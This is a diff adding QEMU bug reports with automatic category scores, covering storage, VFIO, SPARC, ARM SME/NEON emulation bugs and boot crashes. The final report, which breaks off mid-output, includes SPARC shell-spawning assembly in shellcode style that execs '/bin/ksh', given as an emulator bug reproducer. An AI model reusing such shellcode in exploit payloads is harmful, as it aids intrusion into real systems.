a/results/classifier/108/graphic/2260 b/results/classifier/108/graphic/2260 new file mode 100644 index 000000000..35a30747d --- /dev/null +++ b/results/classifier/108/graphic/2260 @@ -0,0 +1,40 @@ +graphic: 0.973 +device: 0.948 +PID: 0.904 +debug: 0.898 +performance: 0.862 +boot: 0.859 +files: 0.845 +socket: 0.765 +vnc: 0.746 +network: 0.720 +permissions: 0.712 +semantic: 0.592 +KVM: 0.460 +other: 0.292 + +Storage device missing/Not recognized by driver (regression) +Description of problem: +Installation CD boots but can not find any storage/harddrive to install to. +This works in qemu 8.2.2, so it seems like a regression. +Steps to reproduce: +1. +2. +3. +Get virtio iso from https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/latest-virtio/ + +Install swtpm like: brew install swtpm + +Use CrystalFetch from https://docs.getutm.app/guides/windows/ to download Windows ISO. + +Create storage: qemu-img create -f qcow2 Win11.qcow2 80G + +dd if=/dev/zero of=vars-pflash.raw bs=1M count=64 + +start tpm like: /opt/homebrew/bin/swtpm socket --tpm2 --tpmstate dir=/Users/jonas/qw11arm/mytpm --ctrl type=unixio,path=/Users/jonas/qw11arm/mytpm/swtpm-sock + +start qemu like: \~/qemu/qemu/build/qemu-system-aarch64 --machine virt,virtualization=on --cpu neoverse-n1 --monitor stdio -smp cpus=4,sockets=1,cores=4,threads=1 -m 5G -device nec-usb-xhci -device qemu-xhci -device usb-kbd -device usb-tablet -device usb-storage,drive=windows,serial=windows -drive if=none,id=windows,format=raw,media=cdrom,file=/Users/jonas/ISOs/22631.2861.231204-0538.23H2_NI_RELEASE_SVC_REFRESH_CLIENTCONSUMER_RET_A64FRE_en-us.iso,readonly=on -device virtio-scsi -device scsi-hd,drive=boot,serial=boot -drive if=none,id=boot,format=qcow2,file=./Win11.qcow2 -drive if=pflash,format=raw,unit=0,file=/Users/jonas/qemu/qemu/build/pc-bios/edk2-aarch64-code.fd,readonly=on -drive file=vars-pflash.raw,format=raw,if=pflash,unit=1 -chardev socket,id=chrtpm,path=/Users/jonas/qw11arm/mytpm/swtpm-sock -tpmdev emulator,id=tpm0,chardev=chrtpm -device tpm-tis-device,tpmdev=tpm0 --display cocoa -rtc base=localtime -device ramfb -boot menu=on -device usb-storage,drive=virtio,serial=virtio -drive if=none,id=virtio,format=raw,media=cdrom,file=/Users/jonas/Downloads/virtio-win-0.1.240.iso,readonly=on -nic user,model=virtio-net-pci,mac=52:54:98:76:54:32 + +Adjust paths and be ready to bypass windows checks as described on https://docs.getutm.app/guides/windows/#this-pc-cant-run-windows-11 +Additional information: + diff --git a/results/classifier/108/graphic/2271 b/results/classifier/108/graphic/2271 new file mode 100644 index 000000000..018e1b552 --- /dev/null +++ b/results/classifier/108/graphic/2271 @@ -0,0 +1,31 @@ +graphic: 0.938 +device: 0.914 +PID: 0.792 +performance: 0.705 +permissions: 0.621 +semantic: 0.591 +debug: 0.552 +network: 0.487 +socket: 0.445 +vnc: 0.407 +other: 0.364 +files: 0.361 +boot: 0.264 +KVM: 0.220 + +pci passthrough fails from aarch64 to amd64 guest +Description of problem: +**PCIe device Pass-thru from aarch64 host to amd64 guest fails with the below** + +qemu-system-amd64: -device vfio-pci,host=0003:06:00.0: VFIO_MAP_DMA failed: Invalid argument +qemu-system-amd64: -device vfio-pci,host=0003:06:00.0: vfio 0003:06:00.0: failed to setup container for group 25: memory listener initialization failed: Region pc.ram: vfio_dma_map(0xba4058207210, 0x100000, 0xbff00000, 0xeba70a300000) = -22 (Invalid argument) + +pass-thru with same command line syntax works correctly if the guest is aarch64 (qemu-system-aarch64). + +AMD64 guest VM otherwise works correctly if -device vfio-pci is not used. + +libvirt / virtmanager fail for aarch64 host -> amd64 guest as well. +Steps to reproduce: +1. Unbind pass-thru device from host. +2. Attach pass-thru device to vfio-pci +3. Execute qemu-system-amd64 as above. diff --git a/results/classifier/108/graphic/2276 b/results/classifier/108/graphic/2276 new file mode 100644 index 000000000..b778b133f --- /dev/null +++ b/results/classifier/108/graphic/2276 @@ -0,0 +1,57 @@ +graphic: 0.992 +performance: 0.887 +files: 0.853 +device: 0.828 +PID: 0.721 +semantic: 0.700 +socket: 0.689 +vnc: 0.676 +debug: 0.645 +other: 0.616 +network: 0.578 +permissions: 0.525 +KVM: 0.521 +boot: 0.407 + +qemu crash for suspend and resume vm while backup disk of vm +Description of problem: + +Steps to reproduce: +1. virsh create vm2.xml +2. virsh backup-begin domid +3. virsh suspend domid +4. sleep 1 && virsh resume domid + +qemu crash +Additional information: +static int blk_do_set_aio_context(BlockBackend *blk, AioContext *new_context, + bool update_root_node, Error **errp) +{ + BlockDriverState *bs = blk_bs(blk); + ThrottleGroupMember *tgm = &blk->public.throttle_group_member; + int ret; + + if (bs) { + bdrv_ref(bs); + + if (update_root_node) { + ret = bdrv_child_try_set_aio_context(bs, new_context, blk->root, + errp); + if (ret < 0) { + bdrv_unref(bs); + return ret; + } + } + if (tgm->throttle_state) { + _ ****bdrv_drained_begin(bs);----- bs->aio_context->lock lock count is 0,so unlock failed**_ + throttle_group_detach_aio_context(tgm); + throttle_group_attach_aio_context(tgm, new_context); + bdrv_drained_end(bs); + } + + bdrv_unref(bs); + } + + blk->ctx = new_context; + return 0; +} diff --git a/results/classifier/108/graphic/2288 b/results/classifier/108/graphic/2288 new file mode 100644 index 000000000..75c2fc772 --- /dev/null +++ b/results/classifier/108/graphic/2288 @@ -0,0 +1,44 @@ +graphic: 0.944 +device: 0.929 +files: 0.870 +debug: 0.841 +PID: 0.819 +vnc: 0.811 +network: 0.785 +permissions: 0.737 +semantic: 0.706 +boot: 0.638 +performance: 0.555 +socket: 0.472 +other: 0.165 +KVM: 0.150 + +ERROR: Unrecognized host OS (uname -s reports 'Linux') +Description of problem: +Hit "Unrecognized host OS (uname -s reports 'Linux')" ERROR when run configure file on upstream qemu. +Steps to reproduce: +1.Clone repo and compile it + + 1.1 git clone https://gitlab.com/qemu-project/qemu.git + + 1.2 cd qemu + + 1.3 mkdir build + + 1.4 cd build + + 1.5 ../configure --target-list=x86_64-softmmu --enable-debug + +2.The following ERROR message: + +ERROR: Unrecognized host OS (uname -s reports 'Linux') +Additional information: +Cpu information: + +Vendor ID: AuthenticAMD + + BIOS Vendor ID: Advanced Micro Devices, Inc. + + Model name: AMD EPYC 9754 128-Core Processor + + BIOS Model name: AMD EPYC 9754 128-Core Processor diff --git a/results/classifier/108/graphic/2315 b/results/classifier/108/graphic/2315 new file mode 100644 index 000000000..d95df6f5a --- /dev/null +++ b/results/classifier/108/graphic/2315 @@ -0,0 +1,27 @@ +graphic: 0.992 +device: 0.800 +PID: 0.641 +performance: 0.617 +vnc: 0.587 +semantic: 0.571 +permissions: 0.414 +network: 0.386 +socket: 0.371 +files: 0.329 +boot: 0.323 +debug: 0.305 +KVM: 0.277 +other: 0.164 + +Mouse cursor is flipped / inverted / upside-down with virtio-gpu in some Wayland compositors +Description of problem: +The mouse cursor is flipped: +Steps to reproduce: +1. Install a Linux system with a 6.8.x kernel inside the virtual machine +2. Install sway / wayfire / hyprland, or kwin 6.0.4.1 +3. See the mouse cursor +Additional information: +The [kwin fix](https://invent.kde.org/plasma/kwin/-/commit/a31561c392adf5abcda0284e8049fafcb3701585) just makes use of dumb buffers instead of dmabuf. + +The mouse cursor should be pointing to the maximizing button at the top-right corner: + diff --git a/results/classifier/108/graphic/2316 b/results/classifier/108/graphic/2316 new file mode 100644 index 000000000..10e0300d6 --- /dev/null +++ b/results/classifier/108/graphic/2316 @@ -0,0 +1,51 @@ +graphic: 0.943 +vnc: 0.872 +device: 0.866 +performance: 0.863 +debug: 0.858 +KVM: 0.849 +permissions: 0.842 +semantic: 0.823 +PID: 0.817 +socket: 0.767 +files: 0.763 +network: 0.761 +boot: 0.646 +other: 0.520 + +aarch64 virt cortex-a53 libc printf (with argument) hello world strange behavior +Description of problem: +My hello world get lost after + +`0x0000000040000370 <+48>: str q0, [sp, #80]` + +in + +``` + 0x1f8: udf #0 + 0x1fc: udf #0 +=> 0x200: udf #0 + 0x204: udf #0 + 0x208: udf #0 + 0x20c: udf #0 + 0x210: udf #0 + 0x214: udf #0 +``` + +By bisecting, I got the last commit OK : v8.2.0-2033-g49fa457ca5 + +``` +$ qemu-system-aarch64 -M virt,secure=on,gic-version=3 -cpu cortex-a53 -kernel aarch64-none-elf-a.elf -serial stdio -display none +printf with an integer : 42 +``` + +But after v8.2.0-2034-g59754f85ed https://gitlab.com/qemu-project/qemu/-/commit/59754f85ed35cbd5f4bf2663ca2136c78d5b2413 (for example with latest v9.0.0-265-gfd87be1dad), it doesn't work anymore. +Steps to reproduce: +1. Build qemu-system-aarch64 with ``./configure --prefix=$PREFIX --target-list=aarch64-softmmu --disable-user --disable-linux-user --disable-bsd-user --enable-kvm --enable-tcg --disable-gnutls --disable-nettle --disable-gtk --disable-iconv --disable-curses --disable-curl --disable-vnc --disable-vnc-jpeg --disable-attr --disable-libusb --disable-opengl --disable-tpm --disable-bzip2 && make -j$(nproc) && make install`` + +2. Run my hello world : ``qemu-system-aarch64 -M virt,secure=on,gic-version=3 -cpu cortex-a53 -kernel aarch64-none-elf-a.elf -serial stdio -display none`` +Additional information: +I provide here the hello world (elf + map). Of course the problem might be that it (qemu and/or hello world) was not built correctly and that everything was working by chance before v8.2.0-2033-g49fa457ca5 +[aarch64-none-elf-a.elf](/uploads/daf7f37aec260c56d4be5fd90554dce3/aarch64-none-elf-a.elf) +[aarch64-none-elf-a.map](/uploads/5564cee13a214e7eb8d6d4bf79f09682/aarch64-none-elf-a.map) +Depending on the investigation, I can provide what's needed to rebuild it. diff --git a/results/classifier/108/graphic/2340 b/results/classifier/108/graphic/2340 new file mode 100644 index 000000000..c671c1979 --- /dev/null +++ b/results/classifier/108/graphic/2340 @@ -0,0 +1,48 @@ +graphic: 0.952 +performance: 0.888 +device: 0.774 +vnc: 0.732 +debug: 0.664 +boot: 0.654 +semantic: 0.628 +other: 0.581 +socket: 0.567 +permissions: 0.530 +PID: 0.491 +network: 0.461 +files: 0.413 +KVM: 0.314 + +SPARC fp operation INVALID trap hangs on offending instruction. +Description of problem: +An IEEE Invalid Operation exception is typically not enabled in programs - but if it is and an Invalid Operation occurs, a hardware TRAP should be generated which eventually becomes a SIGFPE. However, instead, the program seems to hang on the offending instruction, never moving forward. + +This small C example (you'll need a C compiler) demonstrates the problem, by enabling the INValid floating-pt exception, then executing the FDTOI instruction which causes an INValid trap because the floating-pt source operand is too large for the 32-bit integer result . The SPARC V9 manual specifies that exception should happen, so it's correct to generate the trap. However, the program simply hangs on the FDTOI instruction instead of receiving the signal. + +It could be something in trap emulation that is the underlying culprit here - other possible IEEE traps (such as division-by-zero) might similarly fail? + +`#include <ieeefp.h>` + +`main()` + +`{` + + `double val;` + + `int i;` + + `fpsetmask(FP_X_INV);` + + `val = 1000000000000003.0; /* Number that is too large for int */` + + `printf("val is %f\n", val);` + + `i = val;` + + `printf("i is %d\n", i);` + +`}` +Steps to reproduce: +1. Enable IEEE iNValid operation traps in the TEM in the FSR. +2. Generate an instruction that causes an iNValid trap +3. Instruction hangs, no SIGFPE is generated diff --git a/results/classifier/108/graphic/2345 b/results/classifier/108/graphic/2345 new file mode 100644 index 000000000..268cfbaa5 --- /dev/null +++ b/results/classifier/108/graphic/2345 @@ -0,0 +1,63 @@ +graphic: 0.972 +other: 0.954 +semantic: 0.944 +debug: 0.938 +permissions: 0.927 +boot: 0.926 +performance: 0.926 +PID: 0.920 +KVM: 0.905 +files: 0.905 +device: 0.899 +vnc: 0.884 +socket: 0.878 +network: 0.839 + +Undefined behavior error: call to function qemu_mutex_lock through pointer to incorrect function type +Description of problem: +When compiling QEMU with: + +``` +./configure --cc=clang --extra-cflags=-fsanitize=undefined --extra-cflags=-fno-sanitize-recover=undefined --target-list=x86_64-softmmu +``` + +on a system that has Clang v17 or newer (e.g. on Fedora 39 or Fedora 40), the QEMU binary abort with an undefined behavior error: + +``` +$ ./qemu-system-x86_64 +include/qemu/lockable.h:95:5: runtime error: call to function qemu_mutex_lock through pointer to incorrect function type 'void (*)(void *)' +include/qemu/thread.h:122:5: note: qemu_mutex_lock defined here +SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior include/qemu/lockable.h:95:5 +``` + +Or for example when running ``make check-unit`` : + +``` + 97/103 qemu:unit / test-yank ERROR 0.13s killed by signal 6 SIGABRT +>>> G_TEST_BUILDDIR=/tmp/qemu-ubsan/tests/unit ASAN_OPTIONS=halt_on_error=1:abort_on_error=1:print_summary=1 UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1:print_summary=1:print_stacktrace=1 MALLOC_PERTURB_=201 G_TEST_SRCDIR=~/qemu/tests/unit /tmp/qemu-ubsan/tests/unit/test-yank --tap -k +――――――――――――――――――――――――― ✀ ――――――――――――――――――――――――――――――――――――――――― +stderr: +include/qemu/lockable.h:95:5: runtime error: call to function qemu_mutex_lock through pointer to incorrect function type 'void (*)(void *)' +include/qemu/thread.h:122:5: note: qemu_mutex_lock defined here + #0 0x55753123f8b9 in qemu_lockable_lock include/qemu/lockable.h:95:5 + #1 0x55753123f8b9 in qemu_lockable_auto_lock include/qemu/lockable.h:105:5 + #2 0x55753123f8b9 in qmp_query_yank util/yank.c:184:5 + #3 0x5575311a35fe in is_yank_instance_registered tests/unit/test-yank.c:43:12 + #4 0x5575311a35fe in char_change_test tests/unit/test-yank.c:128:5 + #5 0x7f7f0a8cfbbf (/lib64/libglib-2.0.so.0+0x8bbbf) (BuildId: 795136df3faa85587229ddc59d709f81d6f697df) + #6 0x7f7f0a8cfb2f (/lib64/libglib-2.0.so.0+0x8bb2f) (BuildId: 795136df3faa85587229ddc59d709f81d6f697df) + #7 0x7f7f0a8cfb2f (/lib64/libglib-2.0.so.0+0x8bb2f) (BuildId: 795136df3faa85587229ddc59d709f81d6f697df) + #8 0x7f7f0a8cfb2f (/lib64/libglib-2.0.so.0+0x8bb2f) (BuildId: 795136df3faa85587229ddc59d709f81d6f697df) + #9 0x7f7f0a8d00c9 in g_test_run_suite (/lib64/libglib-2.0.so.0+0x8c0c9) (BuildId: 795136df3faa85587229ddc59d709f81d6f697df) + #10 0x7f7f0a8d015f in g_test_run (/lib64/libglib-2.0.so.0+0x8c15f) (BuildId: 795136df3faa85587229ddc59d709f81d6f697df) + #11 0x5575311a336f in main tests/unit/test-yank.c:248:12 + #12 0x7f7f0a32d087 in __libc_start_call_main (/lib64/libc.so.6+0x2a087) (BuildId: b098f1c75a76548bb230d8f551eae07a2aeccf06) + #13 0x7f7f0a32d14a in __libc_start_main@GLIBC_2.2.5 (/lib64/libc.so.6+0x2a14a) (BuildId: b098f1c75a76548bb230d8f551eae07a2aeccf06) + #14 0x557531178d64 in _start (/tmp/qemu-ubsan/tests/unit/test-yank+0x77d64) (BuildId: 0bb470b7accec26b684d1c7e941239d31396604e) + +SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior include/qemu/lockable.h:95:5 + +(test program exited with status code -6) +``` + +The way we abuse the (void *) parameter of QemuLockUnlockFunc seems to be undefined behavior, which could likely also trigger issues with CFI or certain compilers/architectures like emscripten, so we should try to avoid this. See also https://github.com/systemd/systemd/issues/29972 or https://github.com/python/cpython/issues/111178 for discussions in other projects. diff --git a/results/classifier/108/graphic/2361 b/results/classifier/108/graphic/2361 new file mode 100644 index 000000000..067a9d7e1 --- /dev/null +++ b/results/classifier/108/graphic/2361 @@ -0,0 +1,28 @@ +graphic: 0.987 +device: 0.877 +boot: 0.820 +debug: 0.755 +performance: 0.736 +semantic: 0.733 +permissions: 0.583 +PID: 0.558 +vnc: 0.418 +other: 0.382 +files: 0.217 +network: 0.152 +socket: 0.129 +KVM: 0.030 + +-cpu host or -cpu max breaks GRUB on AMD +Description of problem: +I'm running the on an AMD Ryzen CPU host. I am emulating a Debian Bookworm image stored in a raw disk. It uses GRUB to load a large (400MB) initrd. When ran with the flag -cpu host or -cpu max, GRUB throws an out of memory error while loading the initrd. This doesn't occur when using -cpu kvm64 or excluding the -cpu flag. + +If I direct boot the initrd and kernel via -initrd and -kernel, it works fine. The image also works with -cpu host on an Intel CPU host machine. The image also works with -cpu EPYC. +Steps to reproduce: +1. Create a raw disk with a large initrd and GRUB boot loader +2. Start a qemu machine on an AMD host +3. Receive an error: out of memory +Additional information: +I could try selectively enabling CPU features, but I was wondering if the maintainers knew of any feature that might be causing this or how to list the features -cpu host enables. + +I also am not 100% that this is a QEMU bug, but it seems the only way to fix it is changing the QEMU config. diff --git a/results/classifier/108/graphic/2373 b/results/classifier/108/graphic/2373 new file mode 100644 index 000000000..75b4033fd --- /dev/null +++ b/results/classifier/108/graphic/2373 @@ -0,0 +1,110 @@ +graphic: 0.975 +semantic: 0.963 +debug: 0.952 +other: 0.952 +performance: 0.932 +permissions: 0.915 +device: 0.893 +PID: 0.888 +vnc: 0.882 +boot: 0.873 +KVM: 0.858 +files: 0.845 +socket: 0.805 +network: 0.744 + +A bug in AArch64 FMOPA/FMOPS (widening) instruction +Description of problem: +fmopa computes the multiplication of two matrices in the source registers and accumulates the result to the destination register. A source register’s element size is 16 bits, while a destination register’s element size is 64 bits in the case of widening variant of this instruction. Before the matrix multiplication is performed, each element should be converted to a 64-bit floating point. FPCR flags are considered when converting floating point values. Especially, when the FZ (or FZ16) flag is set, denormalized values are converted into zero. When the floating point size is 16 bits, FZ16 should be considered; otherwise, FZ flag should be used. + +However, the current implementation only considers FZ flag, not FZ16 flag, so it computes the wrong value. +Steps to reproduce: +1. Write `test.c`. +``` +#include <stdio.h> + +char i_P2[4] = { 0xff, 0xff, 0xff, 0xff }; +char i_P5[4] = { 0xff, 0xff, 0xff, 0xff }; +char i_Z0[32] = { // Set only the first element as non-zero + 0xff, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, + 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, + 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, + 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, +}; +char i_Z16[32] = { // Set only the first element as non-zero + 0xff, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, + 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, + 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, + 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, +}; +char i_ZA3H[128] = { 0x0, }; +uint64_t i_fpcr = 0x0001000000; // FZ = 1; +char o_ZA3H[128]; + +void __attribute__ ((noinline)) show_state() { + for (int i = 0; i < 8; i++) { + for (int j = 0; j < 16; j++) { + printf("%02x ", o_ZA3H[16*i+j]); + } + printf("\n"); + } +} + +void __attribute__ ((noinline)) run() { + __asm__ ( + ".arch armv9.3-a+sme\n" + "smstart\n" + "adrp x29, i_P2\n" + "add x29, x29, :lo12:i_P2\n" + "ldr p2, [x29]\n" + "adrp x29, i_P5\n" + "add x29, x29, :lo12:i_P5\n" + "ldr p5, [x29]\n" + "adrp x29, i_Z0\n" + "add x29, x29, :lo12:i_Z0\n" + "ldr z0, [x29]\n" + "adrp x29, i_Z16\n" + "add x29, x29, :lo12:i_Z16\n" + "ldr z16, [x29]\n" + "adrp x29, i_ZA3H\n" + "add x29, x29, :lo12:i_ZA3H\n" + "mov x15, 0\n" + "ld1w {za3h.s[w15, 0]}, p2, [x29]\n" + "add x29, x29, 32\n" + "ld1w {za3h.s[w15, 1]}, p2, [x29]\n" + "add x29, x29, 32\n" + "mov x15, 2\n" + "ld1w {za3h.s[w15, 0]}, p2, [x29]\n" + "add x29, x29, 32\n" + "ld1w {za3h.s[w15, 1]}, p2, [x29]\n" + "adrp x29, i_fpcr\n" + "add x29, x29, :lo12:i_fpcr\n" + "ldr x29, [x29]\n" + "msr fpcr, x29\n" + ".inst 0x81a0aa03\n" // fmopa za3.s, p2/m, p5/m, z16.h, z0.h + "adrp x29, o_ZA3H\n" + "add x29, x29, :lo12:o_ZA3H\n" + "mov x15, 0\n" + "st1w {za3h.s[w15, 0]}, p2, [x29]\n" + "add x29, x29, 32\n" + "st1w {za3h.s[w15, 1]}, p2, [x29]\n" + "add x29, x29, 32\n" + "mov x15, 2\n" + "st1w {za3h.s[w15, 0]}, p2, [x29]\n" + "add x29, x29, 32\n" + "st1w {za3h.s[w15, 1]}, p2, [x29]\n" + ".arch armv8-a\n" + ); +} + +int main(int argc, char **argv) { + run(); + show_state(); + return 0; +} +``` +2. Compile `test.bin` using this command: `aarch64-linux-gnu-gcc-12 -O2 -no-pie ./test.c -o ./test.bin`. +3. Run QEMU using this command: `qemu-aarch64 -L /usr/aarch64-linux-gnu/ -cpu max,sme256=on ./test.bin`. +4. The program, runs on top of the buggy QEMU, prints only zero bytes. It should print `00 01 7e 2f + 00 .. (rest of bytes) .. 00` after the bug is fixed. +Additional information: + diff --git a/results/classifier/108/graphic/2376 b/results/classifier/108/graphic/2376 new file mode 100644 index 000000000..e47ccdc95 --- /dev/null +++ b/results/classifier/108/graphic/2376 @@ -0,0 +1,129 @@ +graphic: 0.950 +debug: 0.914 +PID: 0.873 +performance: 0.872 +device: 0.870 +other: 0.869 +semantic: 0.861 +files: 0.850 +permissions: 0.845 +vnc: 0.842 +boot: 0.827 +network: 0.820 +socket: 0.798 +KVM: 0.760 + +A bug in ARM VCMLA.f16/VCMLA.f32 instructions +Description of problem: +The vcmla instruction performs complex-number operations on the vector registers. There is a bug in which this instruction modifies the contents of an irrelevant vector register. + +The reason is simple out-of-bound; the helper functions should correctly check the number of modified elements: +``` +// target/arm/tcg/vec_helper.c +void HELPER(gvec_fcmlah_idx)(void *vd, void *vn, void *vm, void *va, + void *vfpst, uint32_t desc) +{ + uintptr_t opr_sz = simd_oprsz(desc); + float16 *d = vd, *n = vn, *m = vm, *a = va; + float_status *fpst = vfpst; + intptr_t flip = extract32(desc, SIMD_DATA_SHIFT, 1); + uint32_t neg_imag = extract32(desc, SIMD_DATA_SHIFT + 1, 1); + intptr_t index = extract32(desc, SIMD_DATA_SHIFT + 2, 2); + uint32_t neg_real = flip ^ neg_imag; + intptr_t elements = opr_sz / sizeof(float16); + intptr_t eltspersegment = 16 / sizeof(float16); // This should be fixed; + intptr_t i, j; + + ... +} + +... + +void HELPER(gvec_fcmlas_idx)(void *vd, void *vn, void *vm, void *va, + void *vfpst, uint32_t desc) +{ + uintptr_t opr_sz = simd_oprsz(desc); + float32 *d = vd, *n = vn, *m = vm, *a = va; + float_status *fpst = vfpst; + intptr_t flip = extract32(desc, SIMD_DATA_SHIFT, 1); + uint32_t neg_imag = extract32(desc, SIMD_DATA_SHIFT + 1, 1); + intptr_t index = extract32(desc, SIMD_DATA_SHIFT + 2, 2); + uint32_t neg_real = flip ^ neg_imag; + intptr_t elements = opr_sz / sizeof(float32); + intptr_t eltspersegment = 16 / sizeof(float32); // This should be fixed; + intptr_t i, j; + + ... +} +``` +Steps to reproduce: +1. Write `test.c`. +``` +#include <stdint.h> +#include <stdio.h> +#include <string.h> + +// zero inputs should produce zero output +char i_D4[8] = { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }; +char i_D8[8] = { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }; +char i_D30[8] = { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }; +char i_D31[8] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; // this should never be touched +char o_D30[8]; +char o_D31[8]; + +void __attribute__ ((noinline)) show_state() { + printf("D30: "); + for (int i = 0; i < 8; i++) { + printf("%02x ", o_D30[i]); + } + printf("\n"); + printf("D31: "); + for (int i = 0; i < 8; i++) { + printf("%02x ", o_D31[i]); + } + printf("\n"); +} + +void __attribute__ ((noinline)) run() { + __asm__ ( + "movw r7, #:lower16:i_D4\n" + "movt r7, #:upper16:i_D4\n" + "vldr d4, [r7]\n" + "movw r7, #:lower16:i_D8\n" + "movt r7, #:upper16:i_D8\n" + "vldr d8, [r7]\n" + "movw r7, #:lower16:i_D30\n" + "movt r7, #:upper16:i_D30\n" + "vldr d30, [r7]\n" + "movw r7, #:lower16:i_D31\n" + "movt r7, #:upper16:i_D31\n" + "vldr d31, [r7]\n" + "adr r7, Lbl_thumb + 1\n" + "bx r7\n" + ".thumb\n" + "Lbl_thumb:\n" + ".inst 0xfed8e804\n" // vcmla.f32 d30, d8, d4[0], #90 + "adr r7, Lbl_arm\n" + "bx r7\n" + ".arm\n" + "Lbl_arm:\n" + "movw r7, #:lower16:o_D30\n" + "movt r7, #:upper16:o_D30\n" + "vstr d30, [r7]\n" + "movw r7, #:lower16:o_D31\n" + "movt r7, #:upper16:o_D31\n" + "vstr d31, [r7]\n" + ); +} + +int main(int argc, char **argv) { + run(); + show_state(); + return 0; +} +``` +2. Compile `test.bin` using this command: `arm-linux-gnueabihf-gcc-12 -O2 -no-pie -marm -march=armv7-a+vfpv4 ./test.c -o ./test.bin`. +3. Run QEMU using this command: `qemu-arm -L /usr/arm-linux-gnueabihf/ ./test.bin`. +4. The program, runs on top of the buggy QEMU, prints the value of D31 as `00 00 c0 7f 00 00 c0 7f`. It should print `ff ff ff ff ff ff ff ff` after the bug is fixed. +Additional information: + diff --git a/results/classifier/108/graphic/2382 b/results/classifier/108/graphic/2382 new file mode 100644 index 000000000..6ca727178 --- /dev/null +++ b/results/classifier/108/graphic/2382 @@ -0,0 +1,29 @@ +graphic: 0.953 +device: 0.813 +other: 0.780 +vnc: 0.690 +semantic: 0.571 +socket: 0.552 +performance: 0.548 +PID: 0.543 +debug: 0.509 +files: 0.438 +network: 0.416 +boot: 0.353 +permissions: 0.221 +KVM: 0.141 + +QEMU occurs an Error when testing my DIY UEFI aarch64 kernel:Synchronous Exception at 0x00000000E46CCEAC +Description of problem: +Shows Synchronous Exception at 0x00000000E46CCEAC and the program halts. +Steps to reproduce: +1.Download the UEFIPascalOS on github. +2.run the bash buildaarch64.sh to build the kernel iso. +3.Go through the installer guide and enter the kernel. +4.Enter the account's name and password and press enter,now you can got an error that shows Synchronous Exception at 0x00000000E46CCEAC +Additional information: +(no logs,stack traces was shown for the error because logs and stack traces are not exists.) +screenshots: + +If I create two accounts,it will halt on sentence "Welcome to TYDQ System!" and give me Synchronous Exception at other numbers. +If I change the memory in virt-machine,the Synchronous Exception showing number will be changed. diff --git a/results/classifier/108/graphic/2384 b/results/classifier/108/graphic/2384 new file mode 100644 index 000000000..dee79fe5d --- /dev/null +++ b/results/classifier/108/graphic/2384 @@ -0,0 +1,41 @@ +graphic: 0.931 +device: 0.914 +files: 0.903 +PID: 0.897 +vnc: 0.834 +performance: 0.813 +debug: 0.785 +socket: 0.743 +permissions: 0.734 +boot: 0.718 +semantic: 0.712 +network: 0.686 +other: 0.676 +KVM: 0.334 + +Crash on QEMU 7.2.11 with imx6ul arm cpu cortex-a7 when trying to mount rootfs +Description of problem: +trying to run qemu 7.2.11 for NXP mcimx6ul-evk machine, We get a kernel panic trying to mount the rootfs. +... +[ 7.401206] No soundcards found. +[ 7.500010] FAT-fs (mmcblk0p1): Volume was not properly unmounted. Some data may be corrupt. Please run fsck. +[ 7.504607] VFS: Mounted root (vfat filesystem) on device 179:1. +[ 7.511987] devtmpfs: error mounting -2 +[ 7.612562] Freeing unused kernel image (initmem) memory: 1024K +[ 7.638370] Run /sbin/init as init process +[ 7.638829] with arguments: +[ 7.639016] /sbin/init +[ 7.639247] earlyprintk +[ 7.639429] noresume +... +[ 7.657347] Kernel panic - not syncing: No working init found. + +The full log is attached.[qemu_imx6ul_kernel_panic_info.txt](/uploads/c4075a3de7894c18050bf53c32bb18a7/qemu_imx6ul_kernel_panic_info.txt) +Steps to reproduce: +1. download and build qemu 7.2.11 +2. download LF_v6.1.55-2.2.1_images_IMX6UL7D.zip from NXP containing kernel, dtb, rootfs, ...etc binaries +3. To use diskimage as ‘sd’ card , we need to shrink .wic image we got from NXP to fit in 4GB : +./qemu-img resize --shrink imx-image-full.wic 4G +4. invoke the command to run qemu described above. +Additional information: +Any help would be appreciated, if it's not the right forum please advise, thank you. diff --git a/results/classifier/108/graphic/2385 b/results/classifier/108/graphic/2385 new file mode 100644 index 000000000..697055208 --- /dev/null +++ b/results/classifier/108/graphic/2385 @@ -0,0 +1,122 @@ +graphic: 0.984 +performance: 0.968 +semantic: 0.968 +other: 0.961 +debug: 0.960 +permissions: 0.955 +device: 0.943 +vnc: 0.942 +PID: 0.941 +network: 0.927 +KVM: 0.926 +socket: 0.915 +boot: 0.895 +files: 0.891 + +sparc: SIGILL stepping over `std` in gdb +Description of problem: +Certain cases of single-stepping thru the `std` store double-word instruction causes SIGILL fatal trap, while normal execution of the program is fine. Unfortunately I do not have access to real SPARC hardware so I cannot attest whether this is an emulation issue or not. + +My previous bugfix #2281 fixed any single-stepping in a debugger from panicking the kernel, associated with the `lda` on ASI_USERTXT in the `default_fuword32` function. I suspect further bugs like this could be related somehow. Perhaps a different instruction is used for the 64-bit access that needs a similar fix. + +This problem was experienced while testing some shell-spawning assembly: +``` +-bash-4.3$ cat test.s +.section ".text" +.global main +main: + sethi %hi(0x2f626800), %l6 + or %l6, 0x16e, %l6 ! 0x2f62696e + sethi %hi(0x2f6b7000), %l7 + or %l7, 0x368, %l7 ! 0x2f6b7368 + and %sp, %sp, %o0 + add %sp, 0xc, %o1 + xor %o2, %o2, %o2 + add %sp, 0x14, %sp + std %l6, [ %sp + -20 ] + clr [ %sp + -12 ] + st %sp, [ %sp + -8 ] + clr [ %sp + -4 ] + mov 0x3b, %g1 + ta 8 + xor %o7, %o7, %o0 + mov 1, %g1 + ta 8 +``` + +``` +-bash-4.3$ gcc test.s -o test +-bash-4.3$ ./test +$ 